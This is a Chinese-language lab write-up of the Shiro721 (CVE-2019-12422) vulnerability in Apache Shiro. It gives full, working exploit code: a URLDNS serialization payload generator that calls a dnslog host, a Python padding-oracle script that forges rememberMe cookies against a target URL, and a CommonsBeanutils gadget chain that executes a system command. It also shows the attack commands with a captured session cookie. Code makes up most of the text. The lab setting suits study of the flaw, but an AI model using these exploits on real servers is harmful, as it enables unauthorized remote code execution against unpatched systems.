shiro721——CVE-2019-12422

这两个漏洞主要区别在于Shiro550使⽤已知密钥碰撞，后者Shiro721是使⽤ 登录后rememberMe= {value}去爆破正确的key值 进⽽反序列化，对⽐Shiro550条件只要有 ⾜够密钥库 （条件⽐较低）、Shiro721需要登录（要求⽐较⾼鸡肋 ）。Apache Shiro < 1.4.2 默认使⽤ AES/CBC/PKCS5Padding 模式

1.漏洞详细

shiro721⽤到的加密⽅式是AES-CBC，⽽且其中的ase加密的key基本猜不到了，是系统随机⽣成的。⽽cookie解析过程跟cookie的解析过程⼀样，也就意味着如果能伪造恶意的rememberMe字段的值且⽬标含有可利⽤的攻击链的话，还是能够进⾏RCE的。
通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进⽽实现rememberMe的内容伪造。

2.漏洞测试

⼀次成功的Shiro Padding Oracle需要⼀直向服务器不断发包，判断服务器返回，攻击时间通常需要⼏个⼩时。由于此漏洞利⽤起来耗时时间特别⻓，很容易被waf封禁，因此在真实的红队项⽬中，极少有此漏洞的攻击成功案例
这⾥测试的时候cb这条利⽤链 如果在⽬标上最好测试urldns链。。
漏洞环境：

Urldns链

我们先用urldns链来测试漏洞是否存在
Urldns.java：

package shiroTest;

import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Urldns {
    public static void main(String[] args) throws Exception {
                /*
        利用链:
            ObjectInputStream#readObject() -> HashMap.readObject(ObjectInputStream in)
            HashMap -> hash()
            URL -> hashCode()
            URLStreamHandler -> hashCode()
            URLStreamHandler -> getHostAddress()
            URL -> getHostAddress()
            InetAddress -> getByName()
         */
        HashMap hashMap = new HashMap();
        URL url = new URL("http://zx5db7.dnslog.cn");

        /*
        URL：
            private int hashCode = -1;

            public synchronized int hashCode() {
                if (hashCode != -1)
                    return hashCode;
                hashCode = handler.hashCode(this);
                return hashCode;
            }

        HashMap.put()和本利用链都会执行至URL.hashCode()
        */
        Field hashCodeField = url.getClass().getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);

        // 阻止创建payload时触发请求
        hashCodeField.set(url, 0);
        hashMap.put(url, null);
        // 使利用链执行时能够触发请求
        hashCodeField.set(url, -1);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
        oos.writeObject(hashMap);
        oos.close();
    }
}

我们利用Urldns代码进行运行，得到ser.bin
然后我们用脚本工具来攻击

python2 shiro_exp.py http://192.168.0.165:8081/samples_web_war/ 4H3erAR79b/6xCWMc6frkHaVXAMfAh4avZrC0NgaiKXopofAml4TmzHXmV+H4s33OLCnx5Qf1FDPEtedyv5DRR/P3fUZni3sTdf/kXy3KzlkOFdk9y6PlDAV0T38Yog8E0gG3w5+ByakoAlbU1RHgIDQYTDJDc3hXntzBAHp8czlfVlHG527vWGQKXLPszLv4bcaru1ZTOhPexuyPuz7iDZRVDBF4H+Hd7IpaQE0RYGjJrg7VDWeTHE+aE3Ana+5yt98Hk2d6j4E0rVQLQgxI/0Xyp5CXwwkKOyyYpbh+wjOOlcZGIapr4MFI1QuKgI7hhUWOIuvQjp/MsM3RYWNjpamnX2FYLQ9wFPcHB1rQK1BDyOSoFiO6khvnIEZAChRFVSchP/gSHblHy4Vgz2hmCNnb+GvPqI8lLr6cprGKKhntO3Z2FWMoe2DjAMnO49euDIErGI1aZMVL3aUQom1Q2fZWu0lV1xXy+p47QS+WzSlDpVZvcjn1TgMq8W164/p ser.bin

# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']

        # logging.debug(self.session.cookies)

        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        # logging.debug(response.headers)

        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # logging.debug("Padding exception")
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))

    padbuster = PadBuster()

    payload = open(sys.argv[3], 'rb').read()

    enc = padbuster.encrypt(plaintext=payload, block_size=16)

    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
    print('rememberMe cookies:')
    print(b64encode(enc))

开始爆破

可以看到成功生成cookie
上面命令中的cookie值从以下取得

注意这里必须登录成功才能利用成功，后台的所有的cookie值都一样

cb链

我们再使用cb链来爆破
cb.java：

package shiroTest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cb {

    // 修改值的方法，简化代码

    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{

        Field field = object.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(object, value);

    }

    public static void main(String[] args) throws Exception {

        // 创建恶意类，用于报错抛出调用链

        ClassPool pool = ClassPool.getDefault();

        CtClass payload = pool.makeClass("EvilClass");

        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));

        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");

        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] evilClass = payload.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});

        setFieldValue(templates, "_name", "test");

        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);

        queue.add("1");

        queue.add("1");

        setFieldValue(beanComparator, "property", "outputProperties");

        setFieldValue(queue, "queue", new Object[]{templates, templates});

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));

        out.writeObject(queue);

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));

        in.readObject();

    }

}

可以看到cb链是运行弹出计算器，且生成了ser.bin文件，我们将该文件名字改为calc.bin文件

cookie值不变，还是成功登录的cookie，继续开始cb链爆破

等待即可
也可以使用PaddingOracleAttack-1.0-SNAPSHOT.jar工具，但是感觉比较慢，没有前面介绍的工具好用，一般用前面的即可
PaddingOracleAttack-1.0-SNAPSHOT.jar使用方式：

java -jar PaddingOracleAttack-1.0-SNAPSHOT.jar http://192.168.0.165:8081/samples_web_war/ 4H3erAR79b/6xCWMc6frkHaVXAMfAh4avZrC0NgaiKXopofAml4TmzHXmV+H4s33OLCnx5Qf1FDPEtedyv5DRR/P3fUZni3sTdf/kXy3KzlkOFdk9y6PlDAV0T38Yog8E0gG3w5+ByakoAlbU1RHgIDQYTDJDc3hXntzBAHp8czlfVlHG527vWGQKXLPszLv4bcaru1ZTOhPexuyPuz7iDZRVDBF4H+Hd7IpaQE0RYGjJrg7VDWeTHE+aE3Ana+5yt98Hk2d6j4E0rVQLQgxI/0Xyp5CXwwkKOyyYpbh+wjOOlcZGIapr4MFI1QuKgI7hhUWOIuvQjp/MsM3RYWNjpamnX2FYLQ9wFPcHB1rQK1BDyOSoFiO6khvnIEZAChRFVSchP/gSHblHy4Vgz2hmCNnb+GvPqI8lLr6cprGKKhntO3Z2FWMoe2DjAMnO49euDIErGI1aZMVL3aUQom1Q2fZWu0lV1xXy+p47QS+WzSlDpVZvcjn1TgMq8W164/p 16 calc.bin

爆破出来之后，替换rememberMe即可，替换时候，要将JSESSIONID删除掉
第一个urldns链：

dnslog没有成功，但方法正确

第二个cb链：

放到bp中运行即可弹出计算器